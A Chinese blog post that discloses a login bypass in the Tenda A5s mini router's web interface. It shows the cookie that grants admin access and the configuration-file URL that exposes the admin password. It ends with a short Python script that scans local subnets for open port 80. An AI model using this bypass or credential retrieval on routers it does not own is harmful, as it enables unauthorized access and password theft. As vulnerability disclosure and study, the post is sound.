Tenda 腾达 A5s迷你路由器登陆绕过

前天在易迅买了个迷你路由器,腾达 A5s,比以前用的TP还小,是我用过的最小路由器。

tenda-5s

穿墙效果一般。测试的时候发现web管理界面存在登陆绕过。

一般流程登陆后,程序会向浏览器写入如下Cookie:

admin:language=zh-cn

可以看到,连明文密码都没保存,更不要说Base64转码了。

利用的方式非常简单:

1) 在浏览器地址栏输入javascript:document.cookie=’admin:language=zh-cn’

2) 再次输入路由器IP,即可进入后台,例如,我的路由器:http://192.168.2.1/

3) 接着下载配置文件,可查看admin的密码:

http://192.168.2.1/cgi-bin/DownloadCfg/RouterCfm.cfg

 

局限是:   首先得连接到无线路由器。这意味着可能要WPA破解。

python获取路由器IP

之前测试某个路由器漏洞时,写了一小段python脚本查找路由器IP。

实际上可以认为是端口扫描,程序只是粗略地检查是否开放了80端口。

import socket
import threading

routers = []
lock = threading.Lock()

def search_routers(): 
    routers = []
    local_ips = socket.gethostbyname_ex(socket.gethostname())[2]    # get local IP
    all_threads = []
    for ip in local_ips:
        for i in range(1, 255):
            array = ip.split('.')
            array[3] = str(i)
            new_ip = '.'.join(array)
            t = threading.Thread(target=check_ip, args=(new_ip,) )
            t.start()
            all_threads.append(t)
    for t in all_threads:
        t.join()

def check_ip(new_ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    result = s.connect_ex((new_ip, 80))
    s.close()
    if result == 0:
        lock.acquire()
        print new_ip.ljust(15), ' port 80 is open'
        routers.append((new_ip, 80))
        lock.release()

print 'Searching for routers, please wait...'
search_routers()

timeout可以设置成1秒或2秒。local_ips是获取多块网卡上绑定的IP,比如我的IP地址是192.168.1.4和192.168.56.1。而代码所做的事情就是扫描 [192.168.1.1 ~ 192.168.1.254]  [192.168.56.1 ~ 192.168.56.254] 有哪些IP开放80端口。

在我的PC上运行结果:

get-router-ips

其中192.168.1.1和192.168.1.253是我的无线modem和无线路由器。